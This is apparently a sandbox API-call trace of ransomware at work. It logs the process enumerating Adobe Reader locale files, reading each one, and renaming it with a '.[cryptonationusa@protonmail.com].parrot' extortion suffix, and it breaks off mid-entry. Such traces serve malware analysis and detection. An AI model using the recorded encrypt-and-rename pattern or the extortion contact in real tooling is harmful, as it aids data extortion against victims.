1 [0261.788] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0261.789] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d795840, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x280bd3c0, ftLastAccessTime.dwHighDateTime=0x1d5e09e, ftLastWriteTime.dwLowDateTime=0x280bd3c0, ftLastWriteTime.dwHighDateTime=0x1d5e09e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0261.790] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d9aab80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x27aefe20, ftLastWriteTime.dwHighDateTime=0x1d5e09e, nFileSizeHigh=0x0, nFileSizeLow=0xaf28, dwReserved0=0x0, dwReserved1=0x0, cFileName="accessibility.NLD.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="ACCESS~1.PAR")) returned 1 [0261.790] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pl_PL\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0261.793] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0261.793] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x832c8320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832c8320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0261.793] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0261.793] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0261.793] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dbbfec0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xac00, dwReserved0=0x0, dwReserved1=0x0, cFileName="accessibility.POL", cAlternateFileName="ACCESS~1.POL")) returned 1 [0261.793] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0261.793] ReadFile (in: hFile=0x288, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0261.795] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0261.795] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xac00, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0xac00, lpOverlapped=0x0) returned 1 [0261.798] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0261.800] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pl_PL\\accessibility.POL" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pl_pl\\accessibility.pol"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pl_PL\\accessibility.POL.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pl_pl\\accessibility.pol.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0261.804] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3326a40 | out: hHeap=0x5b0000) returned 1 [0261.804] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0261.804] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x32a6588 | out: hHeap=0x5b0000) returned 1 [0261.806] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0261.806] ReadFile (in: hFile=0x288, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0261.808] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0261.808] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x68200, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x68200, lpOverlapped=0x0) returned 1 [0261.820] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0261.842] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pl_PL\\Acroform.POL" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pl_pl\\acroform.pol"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pl_PL\\Acroform.POL.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pl_pl\\acroform.pol.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0261.846] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3326a40 | out: hHeap=0x5b0000) returned 1 [0261.846] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0261.846] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2b30020 | out: hHeap=0x5b0000) returned 1 [0261.850] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0261.850] ReadFile (in: hFile=0x288, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0261.854] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0261.855] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1c00, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x1c00, lpOverlapped=0x0) returned 1 [0261.856] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0261.857] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pl_PL\\AdobeCollabSync.POL" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pl_pl\\adobecollabsync.pol"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pl_PL\\AdobeCollabSync.POL.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pl_pl\\adobecollabsync.pol.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0261.862] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22f7550 | out: hHeap=0x5b0000) returned 1 [0261.862] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0261.862] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x321e550 | out: hHeap=0x5b0000) returned 1 [0261.864] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0261.864] ReadFile (in: hFile=0x288, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0261.866] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0261.866] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x7bc00, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x7bc00, lpOverlapped=0x0) returned 1 [0261.883] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0261.898] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pl_PL\\Annots.POL" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pl_pl\\annots.pol"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pl_PL\\Annots.POL.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pl_pl\\annots.pol.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0261.902] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x333c408 | out: hHeap=0x5b0000) returned 1 [0261.902] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0261.902] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2b30020 | out: hHeap=0x5b0000) returned 1 [0261.966] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0261.966] ReadFile (in: hFile=0x288, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0261.973] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0261.974] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3600, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x3600, lpOverlapped=0x0) returned 1 [0261.978] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0261.979] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pl_PL\\BRdlang32.POL" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pl_pl\\brdlang32.pol"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pl_PL\\BRdlang32.POL.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pl_pl\\brdlang32.pol.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0261.984] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3326a40 | out: hHeap=0x5b0000) returned 1 [0261.984] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0261.984] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x332e648 | out: hHeap=0x5b0000) returned 1 [0261.986] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0261.986] ReadFile (in: hFile=0x288, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0261.987] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0261.988] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1e800, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x1e800, lpOverlapped=0x0) returned 1 [0261.991] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0261.997] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pl_PL\\Checkers.POL" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pl_pl\\checkers.pol"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pl_PL\\Checkers.POL.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pl_pl\\checkers.pol.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0262.001] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3326a40 | out: hHeap=0x5b0000) returned 1 [0262.001] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0262.001] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x32b65c8 | out: hHeap=0x5b0000) returned 1 [0262.004] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0262.004] ReadFile (in: hFile=0x288, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0262.011] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0262.012] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1f000, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x1f000, lpOverlapped=0x0) returned 1 [0262.016] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0262.022] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pl_PL\\DigSig.POL" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pl_pl\\digsig.pol"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pl_PL\\DigSig.POL.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pl_pl\\digsig.pol.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0262.026] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x333c408 | out: hHeap=0x5b0000) returned 1 [0262.026] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0262.026] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x32b65c8 | out: hHeap=0x5b0000) returned 1 [0262.029] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0262.029] ReadFile (in: hFile=0x288, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0262.031] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0262.031] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x4800, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x4800, lpOverlapped=0x0) returned 1 [0262.032] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0262.033] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pl_PL\\DVA.POL" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pl_pl\\dva.pol"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pl_PL\\DVA.POL.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pl_pl\\dva.pol.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0262.037] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x333c408 | out: hHeap=0x5b0000) returned 1 [0262.037] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0262.037] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x329e548 | out: hHeap=0x5b0000) returned 1 [0262.039] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0262.039] ReadFile (in: hFile=0x288, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0262.041] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0262.041] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1c00, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x1c00, lpOverlapped=0x0) returned 1 [0262.042] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0262.043] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pl_PL\\eBook.POL" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pl_pl\\ebook.pol"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pl_PL\\eBook.POL.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pl_pl\\ebook.pol.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0262.050] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x333c408 | out: hHeap=0x5b0000) returned 1 [0262.050] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0262.050] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x321e550 | out: hHeap=0x5b0000) returned 1 [0262.052] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0262.052] ReadFile (in: hFile=0x288, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0262.159] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0262.159] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xa000, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0xa000, lpOverlapped=0x0) returned 1 [0262.164] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0262.165] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pl_PL\\EScript.POL" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pl_pl\\escript.pol"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pl_PL\\EScript.POL.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pl_pl\\escript.pol.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0262.170] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3326a40 | out: hHeap=0x5b0000) returned 1 [0262.170] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0262.170] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x32a6588 | out: hHeap=0x5b0000) returned 1 [0262.172] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0262.172] ReadFile (in: hFile=0x288, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0262.173] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0262.173] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xe00, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0xe00, lpOverlapped=0x0) returned 1 [0262.174] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0262.174] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pl_PL\\IA32.POL" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pl_pl\\ia32.pol"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pl_PL\\IA32.POL.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pl_pl\\ia32.pol.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0262.177] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x333c408 | out: hHeap=0x5b0000) returned 1 [0262.177] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0262.177] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x230e0b0 | out: hHeap=0x5b0000) returned 1 [0262.180] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0262.180] ReadFile (in: hFile=0x288, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0262.182] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0262.182] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x12400, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x12400, lpOverlapped=0x0) returned 1 [0262.184] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0262.188] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pl_PL\\makeaccessible.POL" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pl_pl\\makeaccessible.pol"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pl_PL\\makeaccessible.POL.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pl_pl\\makeaccessible.pol.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0262.191] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3326a40 | out: hHeap=0x5b0000) returned 1 [0262.191] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0262.191] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x32b65c8 | out: hHeap=0x5b0000) returned 1 [0262.194] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0262.194] ReadFile (in: hFile=0x288, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0262.345] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0262.345] ReadFile 